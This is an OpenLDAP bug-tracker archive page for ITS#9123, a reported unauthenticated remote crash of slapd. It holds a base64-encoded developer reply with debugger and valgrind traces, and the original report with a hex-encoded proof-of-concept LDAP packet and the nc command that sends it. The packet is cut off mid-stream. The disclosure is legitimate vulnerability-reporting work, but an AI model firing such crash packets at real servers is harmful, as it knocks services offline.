YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmYwMDAwMDAwMDAwMDAwMGZl YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmM2I1ZTVkMTc0M2Q2ODE3Nzc5 ZDlkM2VlZjk5MGVkZTE3OGY3MzczYTA0ZjM4MjE4MDlmODAwYWMyMDBjYTNiYzY3YjMyZTli MmEyYTM3NDVjZjY3YzkxOTQxYTFlYzJmZGY1MGFhN2EzYzJkYmM4MjE4MzFlOGZjYzRkMTUx ODQ5NzhhNjgwMTgwMWE3NmY1ODhiZmMxOTZlOTI0MzM4MjAxZmUzYjVlNWQxNzQzZDY4MTc3 NzlkOWQzZWVmOTkwZWQxNTFiMTM1NzMyNGIzMzJlNTY0ZDRlNDU1NDMxMmU1NjRkMmU0MjQx NTM0NWEyNDQzMDQyYTAwMzAyMDEwMmExM2IzMDM5MWIwNDZjNjQ2MTcwMWIxYzc3MzlkZDMz MmQzMTMwMzEyZTc3MzI2YjMzMmU3NjJkMzczNDMyMzczMjM4MzkzNzM3DQo+ICAzNjMzMzQz MjMwMzczOTM2MzczOTc2NmQ2ZTY1NzQzMTJlNzY2ZDJlNjI2MTczNjVhMzgyMDM3NDMwODIw MzcwYTAwMzAyMDExN2ExMDMwMjAxMDhhMjgyMDM2MjA0ODIwMzVlYTIzNWFhZWI0YjhkYWQy Y2MxYTY3ZjU0ZGIwMzAzNTJjYzM0ODY0YzhjMmQzNjMxMzAzMTM3MzAzMzM0MzEzNjMyMzcz MjM1MzEzODM5MzczM2IwMWM2YzJiYjQ5YWVkZWQwOWI4NjQ0ZWMxNDZkMjk0MDlkNzE4Mzgx ODdiMTM1YWE3NzljYTNlMzVjN2IzZDAyY2M2MGM1M2Q2NTE5OWUwNGIxMmNkYzk4MGQwNWNk MWIwYWJkODM3OTFlY2VlMjdkNzk1Njc5NTk0MDY0NDQyYmNiMWVjYjg2MzlhN2VmMTgyNTY2 NTY4MzU1N2JhZDQ4MzllMWE3YjNjYzViNzZmYzBhYzA5M2RjYzYyZGQzNDExNmU3ZjIwMmUz ODExOGM5NGM2ZWU0NjhhZTEzN2FhNmZjZTMwNzBjMDgxZGQzOTQxODg5ODg3YWFjMTdiN2I5 ZmFlNmIxYjQzMmY5N2E5MDVmZTA3NjVkZjU1OGQ3MzhiMmRlYmM0N2IxOWI1OWIxYzliNDU1 Y2MyOWI4OGViNjQ2MjBiODkyODcxNGU3NmIzMTBkMzZkZjdjMWJmYmRhM2ZiNGZiZGMxZmQ0 ZjM0YzkwMTgwMWE3NmY1ODhiZmMxOTZlOTI0MzM4MjAxZmUzYjVlNWQxNzQzZDY4MTc3Nzlk OWQzZWVmOTkwZWRlMTc4ZjczNzNhMDRmMzgyMTgwOWY4MDBhYzIwMGNhM2JjNjdiMzJlOWIy YTJhMzc0NWNmNjdjOTE5NDFhMWVjMmZkZjUwYWE3YTNjMmRiYzgyMTkzMWU4ZmNjNGQxNTE4 NDk3OGE2ODAxODAxYTc2ZjU4OGJmYzE5NmU5MjQzMzgyMDFmZTNiNWU1ZDE3NDNkNjgxNzc3 OWQ5ZDNlZWY5OTBlZGUxIg0KPiB8IHh4ZCAtciAtcCA+IGxkYXAuY3Jhc2gNCj4gDQo+ICMj IEV4ZWN1dGUgUG9DIChtYXkgbmVlZCB0byBiZSBleGVjdXRlZCBtdWx0aXBsZSB0aW1lcykN Cj4gDQo+ICQgIG5jIDEyNy4wLjAuMSA5MDkxIDwgbGRhcC5jcmFzaA0KPiANCj4gDQo+IA0K PiAjIEdEQg0KPiANCj4gLi4uDQo+IHNsYXBkOiBtYWxsb2MuYzoyMzc5OiBzeXNtYWxsb2M6 IEFzc2VydGlvbiBgKG9sZF90b3AgPT0gaW5pdGlhbF90b3AgKGF2KSAmJg0KPiBvbGRfc2l6 ZSA9PSAwKSB8fCAoKHVuc2lnbmVkIGxvbmcpIChvbGRfc2l6ZSkgPj0gTUlOU0laRSAmJiBw cmV2X2ludXNlIChvbGRfdG9wKQ0KPiAmJiAoKHVuc2lnbmVkIGxvbmcpIG9sZF9lbmQgJiAo cGFnZXNpemUgLSAxKSkgPT0gMCknIGZhaWxlZC4NCj4gDQo+IFRocmVhZCAzICJzbGFwZCIg cmVjZWl2ZWQgc2lnbmFsIFNJR0FCUlQsIEFib3J0ZWQuDQo+IFtTd2l0Y2hpbmcgdG8gVGhy ZWFkIDB4N2ZmZmI0YWJhNzAwIChMV1AgMzY4NDUxMCldDQo+IDB4MDAwMDdmZmZmNWIzYTYy NSBpbiByYWlzZSAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gTWlzc2luZyBzZXBhcmF0 ZSBkZWJ1Z2luZm9zLCB1c2U6IGRuZiBkZWJ1Z2luZm8taW5zdGFsbA0KPiBjeXJ1cy1zYXNs LWdzc2FwaS0yLjEuMjctMi5mYzMxLng4Nl82NCBjeXJ1cy1zYXNsLWxpYi0yLjEuMjctMi5m YzMxLng4Nl82NA0KPiBjeXJ1cy1zYXNsLXBsYWluLTIuMS4yNy0yLmZjMzEueDg2XzY0IGtl eXV0aWxzLWxpYnMtMS42LTMuZmMzMS54ODZfNjQNCj4ga3JiNS1saWJzLTEuMTctNDUuZmMz MS54ODZfNjQgbA0KPiBpYmNvbV9lcnItMS40NS4zLTEuZmMzMS54ODZfNjQgbGliZGItNS4z LjI4LTM4LmZjMzEueDg2XzY0DQo+IGxpYmdjYy05LjIuMS0xLmZjMzEueDg2XzY0IGxpYmlj dS02My4yLTMuZmMzMS54ODZfNjQNCj4gbGlic2VsaW51eC0yLjktNS5mYzMxLng4Nl82NCBs aWJzdGRjKystOS4yLjEtMS5mYzMxLng4Nl82NA0KPiBsaWJ1dWlkLTIuMzQtMy5mYzMxLng4 Nl82NCBuc3MtbWRucy0wLjE0LjEtNC5mYzMxLng4Nl82NCBvcGVuDQo+IHNzbC1saWJzLTEu MS4xZC0yLmZjMzEueDg2XzY0IHpsaWItMS4yLjExLTIwLmZjMzEueDg2XzY0DQo+IChnZGIp IGJ0DQo+ICMwICAweDAwMDA3ZmZmZjViM2E2MjUgaW4gcmFpc2UgKCkgZnJvbSAvbGliNjQv bGliYy5zby42DQo+ICMxICAweDAwMDA3ZmZmZjViMjM4ZDkgaW4gYWJvcnQgKCkgZnJvbSAv bGliNjQvbGliYy5zby42DQo+ICMyICAweDAwMDA3ZmZmZjViODVhN2EgaW4gX19tYWxsb2Nf YXNzZXJ0ICgpIGZyb20gL2xpYjY0L2xpYmMuc28uNg0KPiAjMyAgMHgwMDAwN2ZmZmY1Yjg4 MmJmIGluIHN5c21hbGxvYyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gIzQgIDB4MDAw MDdmZmZmNWI4OTA3MiBpbiBfaW50X21hbGxvYyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYN Cj4gIzUgIDB4MDAwMDdmZmZmNWI4YWY1NSBpbiBjYWxsb2MgKCkgZnJvbSAvbGliNjQvbGli Yy5zby42DQo+ICM2ICAweDAwMDA3ZmZmZjViN2NlZDggaW4gb3Blbl9tZW1zdHJlYW0gKCkg ZnJvbSAvbGliNjQvbGliYy5zby42DQo+ICM3ICAweDAwMDA3ZmZmZjViZjk5ZDUgaW4gX192 c3lzbG9nX2ludGVybmFsICgpIGZyb20gL2xpYjY0L2xpYmMuc28uNg0KPiAjOCAgMHgwMDAw N2ZmZmY1YmY5ZjRhIGluIHN5c2xvZyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gIzkg IDB4MDAwMDAwMDAwMDRlZjNiNCBpbiBzbGFwX3Nhc2xfbG9nIChjb250ZXh0PTB4N2ZmZmY1 NGJmMTEwLA0KPiBwcmlvcml0eT08b3B0aW1pemVkIG91dD4sIA0KPiAgICAgbWVzc2FnZT0w eDdmZmZhODEwM2QzMCAiQ291bGRuJ3QgZmluZCBtZWNoDQo+IGFcMjAyXDAwM1wzMzZcMDYw XDIwMlwwMDMmIzE2OTY7XDAwM1wwMDJcMDAxXDAwNVwyNDFcMDI1XDAzM1wwMjNXMkszLlZN TkVUMS5WTS5CQVNFXDI0MkQwQlwyNDBcMDAzXDAwMlwwMDFcMDAyXDI0MTswOVwwMzNcMDA0 bGRhcFwwMzNcMDM0dzlcMzM1XDA2My0xMDEudzJrMy52bW5ldDEudm0uYmFzZVwwMzNcMDIz dzJrMy52bW5lXDI0MFwwMDNcMDAyXDAwMVwwMjdcMjQxXDAwM1wwMDJcMDAxXGJcMjQyXDIw MlwwMDNiXDAwNFwyMDJcMDAzXlwyNDJcMDY1XDI1MlwzNTNLXDIxNVwyNTUsXDMwMVwyNDZc MTc3VFwzMzNcMDAzXDAwM1JcMzE0XDA2NFwyMDZMXDIxNFwzNjNcMjY2Q1wyNDJcMzI3XDMy M1wwMjFcMDM2XG5cMzUzXDM0MFwzNTZcMzcxcTBcMjY0UGxcMjc3KFwyNjBcMDM0bCtcMjY0 XDIzMlwzNTVcMzU1XHRcMjcwZE5cMzAxRiYjMTE3MjtcdFwzMjdcMDMwXDA3MFwwMzB7XDAy M1pcMjQ3eSIuLi4pDQo+IGF0IHNhc2wuYzoxNDYNCj4gIzEwIDB4MDAwMDdmZmZmNjIwMzM0 NCBpbiBzYXNsX3NldGVycm9yICgpIGZyb20gL2xpYjY0L2xpYnNhc2wyLnNvLjMNCj4gIzEx IDB4MDAwMDdmZmZmNjIwMjMyNCBpbiBzYXNsX3NlcnZlcl9zdGFydCAoKSBmcm9tIC9saWI2 NC9saWJzYXNsMi5zby4zDQo+ICMxMiAweDAwMDAwMDAwMDA0ZjEwOTggaW4gc2xhcF9zYXNs X2JpbmQgKG9wPTxvcHRpbWl6ZWQgb3V0PiwgcnM9MHg3ZmZmYjRhYjg4YjApDQo+IGF0IHNh c2wuYzoxNTI0DQo+ICMxMyAweDAwMDAwMDAwMDA0OWZkMjggaW4gZmVfb3BfYmluZCAob3A9 MHg3ZmZmYTgwMDMxMjAsIHJzPTB4N2ZmZmI0YWI4OGIwKSBhdA0KPiBiaW5kLmM6MjgwDQo+ ICMxNCAweDAwMDAwMDAwMDA0OWYzNTAgaW4gZG9fYmluZCAob3A9MHg3ZmZmYTgwMDMxMjAs IHJzPTB4N2ZmZmI0YWI4OGIwKSBhdA0KPiBiaW5kLmM6MjA1DQo+ICMxNSAweDAwMDAwMDAw MDA0NzJjYTggaW4gY29ubmVjdGlvbl9vcGVyYXRpb24gKGN0eD0weDdmZmZiNGFiODllOCwN Cj4gYXJnX3Y9MHg3ZmZmYTgwMDMxMjApIGF0IGNvbm5lY3Rpb24uYzoxMTU4DQo+ICMxNiAw eDAwMDAwMDAwMDA0NzEzMzIgaW4gY29ubmVjdGlvbl9yZWFkX3RocmVhZCAoY3R4PTB4N2Zm ZmI0YWI4OWU4LA0KPiBhcmd2PTxvcHRpbWl6ZWQgb3V0PikgYXQgY29ubmVjdGlvbi5jOjEy OTQNCj4gIzE3IDB4MDAwMDAwMDAwMDVmZWU3YSBpbiBsZGFwX2ludF90aHJlYWRfcG9vbF93 cmFwcGVyICh4cG9vbD0weGEwYjlmMTApIGF0DQo+IHRwb29sLmM6Njk2DQo+ICMxOCAweDAw MDA3ZmZmZjVlNDQ0ZTIgaW4gc3RhcnRfdGhyZWFkICgpIGZyb20gL2xpYjY0L2xpYnB0aHJl YWQuc28uMA0KPiAjMTkgMHgwMDAwN2ZmZmY1YmZmNjkzIGluIGNsb25lICgpIGZyb20gL2xp YjY0L2xpYmMuc28uNg0KPiANCj4gUGxlYXNlIGxldCBtZSBrbm93IHdoYXQgYWRkaXRpb25h bCBpbmZvcm1hdGlvbiBJIGNhbiBwcm92aWRlIHRvIHN1Y2Nlc3NmdWxseQ0KPiByZXByb2R1 Y2UgdGhlIGlzc3VlLg0KPiANCj4gTm90ZTogSSBoYXZlIGFsc28gdGVzdGVkIGFuZCByZXBy b2R1Y2VkIHRoZSBpc3N1ZSB1c2luZyB0aGUgcHJlY29tcGlsZWQgcGFja2FnZQ0KPiBmcm9t IHRoZSBGZWRvcmEgcmVwb3NpdG9yaWVzOiBvcGVubGRhcC1zZXJ2ZXJzLTIuNC40Ny0zLmZj MzEueDg2XzY0IChPcGVuTERBUDoNCj4gc2xhcGQgMi40LjQ3IChKdWwgMjUgMjAxOSAwMDow MDowMCkpDQoNClRoYW5rcywgYnV0IHlvdXIgdHJhY2UgY2xlYXJseSBzaG93cyB0aGF0IHRo aXMgaXMgYSBmYXVsdCBpbiBDeXJ1cyBTQVNMLCB5b3Ugc2hvdWxkIGJlIHJlcG9ydGluZw0K dGhpcyBpc3N1ZSB0byB0aGVtLg0KDQp2YWxncmluZCBjb25maXJtcyBpdCBhcyB3ZWxsOg0K DQo1ZGRmZGRkZSBkb19iaW5kOiBkbiAoKSBTQVNMIG1lY2ggYe+/ve+/vTDvv73aoO+/vTJL My5WTU5FVDEuVk0uQkFTRe+/vUQwQu+/ve+/vTswOWRhcDnvv70zLTEwMS53MmszLnZtbmV0 MS52bS5iYXNlMmszLnZtbmXvv73vv73vv71i77+9Xu+/vTXvv73vv71L77+977+9LO+/ve+/ vVTvv71S77+9NO+/vUzvv73vv71D77+977+977+9DQrvv73vv73vv73vv71xMO+/vVBs77+9 KO+/vWwr77+977+977+977+9Ce+/vWRO77+9RtKUCe+/vTh7Wu+/vXnvv70+Ncez77+9LO+/ vQ0KDQpT77+9Ue+/ve+/vUvvv73JgO+/vVzRsO+/ve+/vTfvv73vv73vv70n15Vn77+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+907/vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv70NCjVkZGZkZGRlID09PiBzYXNsX2JpbmQ6IGRuPSIiIG1lY2g9Ye+/ve+/ vTDvv73aoO+/vTJLMy5WTU5FVDEuVk0uQkFTRe+/vUQwQu+/ve+/vTswOWRhcDnvv70zLTEw MS53MmszLnZtbmV0MS52bS5iYXNlMmszLnZtbmXvv73vv73vv71i77+9Xu+/vTXvv73vv71L 77+977+9LO+/ve+/vVTvv71S77+9NO+/vUzvv73vv71D77+977+977+9DQrvv73vv73vv73v v71xMO+/vVBs77+9KO+/vWwr77+977+977+977+9Ce+/vWRO77+9RtKUCe+/vTh7Wu+/vXnv v70+Ncez77+9LO+/vQ0KDQpT77+9Ue+/ve+/vUvvv73JgO+/vVzRsO+/ve+/vTfvv73vv73v v70n15Vn77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+907/v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv70NCmRhdGFsZW49MA0KPT0xMTAxOT09IFRocmVhZCAz Og0KPT0xMTAxOT09IEludmFsaWQgd3JpdGUgb2Ygc2l6ZSAxDQo9PTExMDE5PT0gICAgYXQg MHg0QjlCMURCOiBzYXNsX3NldGVycm9yIChzZXRlcnJvci5jOjI0NykNCj09MTEwMTk9PSAg ICBieSAweDRCOUExOEQ6IHNhc2xfc2VydmVyX3N0YXJ0IChzZXJ2ZXIuYzoxNDE4KQ0KPT0x MTAxOT09ICAgIGJ5IDB4MjZCODhCOiBzbGFwX3Nhc2xfYmluZCAoc2FzbC5jOjE2NjYpDQo9 PTExMDE5PT0gICAgYnkgMHgyMUUxMzA6IGZlX29wX2JpbmQgKGJpbmQuYzoyNzkpDQo9PTEx MDE5PT0gICAgYnkgMHgyMURDRTE6IGRvX2JpbmQgKGJpbmQuYzoyMDUpDQo9PTExMDE5PT0g ICAgYnkgMHgxRjM1QkE6IGNvbm5lY3Rpb25fb3BlcmF0aW9uIChjb25uZWN0aW9uLmM6MTE4 NSkNCj09MTEwMTk9PSAgICBieSAweDFGM0NFNzogY29ubmVjdGlvbl9yZWFkX3RocmVhZCAo Y29ubmVjdGlvbi5jOjEzNDIpDQo9PTExMDE5PT0gICAgYnkgMHgzNURGRjk6IGxkYXBfaW50 X3RocmVhZF9wb29sX3dyYXBwZXIgKHRwb29sLmM6MTA0OCkNCj09MTEwMTk9PSAgICBieSAw eDREQkU2Njg6IHN0YXJ0X3RocmVhZCAocHRocmVhZF9jcmVhdGUuYzo0NzkpDQo9PTExMDE5 PT0gICAgYnkgMHg0RUZBMzIyOiBjbG9uZSAoY2xvbmUuUzo5NSkNCj09MTEwMTk9PSAgQWRk cmVzcyAweDYyMDMyYTggaXMgMCBieXRlcyBhZnRlciBhIGJsb2NrIG9mIHNpemUgNjAwIGFs bG9jJ2QNCj09MTEwMTk9PSAgICBhdCAweDQ4M0NGQUY6IHJlYWxsb2MgKGluIC91c3IvbGli L3g4Nl82NC1saW51eC1nbnUvdmFsZ3JpbmQvdmdwcmVsb2FkX21lbWNoZWNrLWFtZDY0LWxp bnV4LnNvKQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5MzBBNDogX2J1Zl9hbGxvYyAoY29tbW9u LmM6MjE4NikNCj09MTEwMTk9PSAgICBieSAweDRCOTMyOTk6IF9zYXNsX2FkZF9zdHJpbmcg KGNvbW1vbi5jOjE5NikNCj09MTEwMTk9PSAgICBieSAweDRCOUIyRDQ6IHNhc2xfc2V0ZXJy b3IgKHNldGVycm9yLmM6MTg3KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9z ZXJ2ZXJfc3RhcnQgKHNlcnZlci5jOjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6 IHNsYXBfc2FzbF9iaW5kIChzYXNsLmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEz MDogZmVfb3BfYmluZCAoYmluZC5jOjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTog ZG9fYmluZCAoYmluZC5jOjIwNSkNCj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVj dGlvbl9vcGVyYXRpb24gKGNvbm5lY3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4 MUYzQ0U3OiBjb25uZWN0aW9uX3JlYWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09 MTEwMTk9PSAgICBieSAweDM1REZGOTogbGRhcF9pbnRfdGhyZWFkX3Bvb2xfd3JhcHBlciAo dHBvb2wuYzoxMDQ4KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NERCRTY2ODogc3RhcnRfdGhyZWFk IChwdGhyZWFkX2NyZWF0ZS5jOjQ3OSkNCj09MTEwMTk9PQ0KPT0xMTAxOT09IEludmFsaWQg cmVhZCBvZiBzaXplIDENCj09MTEwMTk9PSAgICBhdCAweDQ4M0RGNTQ6IHN0cmxlbiAoaW4g L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS92YWxncmluZC92Z3ByZWxvYWRfbWVtY2hlY2st YW1kNjQtbGludXguc28pDQo9PTExMDE5PT0gICAgYnkgMHg0RTUzREU0OiBfX3ZmcHJpbnRm X2ludGVybmFsICh2ZnByaW50Zi1pbnRlcm5hbC5jOjE2ODgpDQo9PTExMDE5PT0gICAgYnkg MHg0RTY3MDI5OiBfX3ZzbnByaW50Zl9pbnRlcm5hbCAodnNucHJpbnRmLmM6MTE0KQ0KPT0x MTAxOT09ICAgIGJ5IDB4M0ExRkZBOiBsdXRpbF9kZWJ1ZyAoZGVidWcuYzo3NCkNCj09MTEw MTk9PSAgICBieSAweDI2NkZGMzogc2xhcF9zYXNsX2xvZyAoc2FzbC5jOjE0NikNCj09MTEw MTk9PSAgICBieSAweDRCOUI0Q0Y6IHNhc2xfc2V0ZXJyb3IgKHNldGVycm9yLmM6MjYwKQ0K PT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9zZXJ2ZXJfc3RhcnQgKHNlcnZlci5j OjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6IHNsYXBfc2FzbF9iaW5kIChzYXNs LmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEzMDogZmVfb3BfYmluZCAoYmluZC5j OjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTogZG9fYmluZCAoYmluZC5jOjIwNSkN Cj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVjdGlvbl9vcGVyYXRpb24gKGNvbm5l Y3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4MUYzQ0U3OiBjb25uZWN0aW9uX3Jl YWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09MTEwMTk9PSAgQWRkcmVzcyAweDYy MDMyYTggaXMgMCBieXRlcyBhZnRlciBhIGJsb2NrIG9mIHNpemUgNjAwIGFsbG9jJ2QNCj09 MTEwMTk9PSAgICBhdCAweDQ4M0NGQUY6IHJlYWxsb2MgKGluIC91c3IvbGliL3g4Nl82NC1s aW51eC1nbnUvdmFsZ3JpbmQvdmdwcmVsb2FkX21lbWNoZWNrLWFtZDY0LWxpbnV4LnNvKQ0K PT0xMTAxOT09ICAgIGJ5IDB4NEI5MzBBNDogX2J1Zl9hbGxvYyAoY29tbW9uLmM6MjE4NikN Cj09MTEwMTk9PSAgICBieSAweDRCOTMyOTk6IF9zYXNsX2FkZF9zdHJpbmcgKGNvbW1vbi5j OjE5NikNCj09MTEwMTk9PSAgICBieSAweDRCOUIyRDQ6IHNhc2xfc2V0ZXJyb3IgKHNldGVy cm9yLmM6MTg3KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9zZXJ2ZXJfc3Rh cnQgKHNlcnZlci5jOjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6IHNsYXBfc2Fz bF9iaW5kIChzYXNsLmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEzMDogZmVfb3Bf YmluZCAoYmluZC5jOjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTogZG9fYmluZCAo YmluZC5jOjIwNSkNCj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVjdGlvbl9vcGVy YXRpb24gKGNvbm5lY3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4MUYzQ0U3OiBj b25uZWN0aW9uX3JlYWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09MTEwMTk9PSAg ICBieSAweDM1REZGOTogbGRhcF9pbnRfdGhyZWFkX3Bvb2xfd3JhcHBlciAodHBvb2wuYzox MDQ4KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NERCRTY2ODogc3RhcnRfdGhyZWFkIChwdGhyZWFk X2NyZWF0ZS5jOjQ3OSkNCg0KDQoNCg0KLS0gDQogIC0tIEhvd2FyZCBDaHUNCiAgQ1RPLCBT eW1hcyBDb3JwLiAgICAgICAgICAgaHR0cDovL3d3dy5zeW1hcy5jb20NCiAgRGlyZWN0b3Is IEhpZ2hsYW5kIFN1biAgICAgaHR0cDovL2hpZ2hsYW5kc3VuLmNvbS9oeWMvDQogIENoaWVm IEFyY2hpdGVjdCwgT3BlbkxEQVAgIGh0dHA6Ly93d3cub3BlbmxkYXAub3JnL3Byb2plY3Qv DQo=

1 0

(ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (78.54.65.139) Dear openldap team # Issue description Unauthenticated remote denial-of-service through malformed ldap packet # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "30840000054b020200d76084000005410201030400a38400000500a38203e2618203de308203daa003020105a1151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e766d6e6574312e766d2e626173651b1377326b332e766d6e65a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8cf3b643a2d7d3111e0aebe0eef97130b4506cbf28b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d79567bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfd0fbd3bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf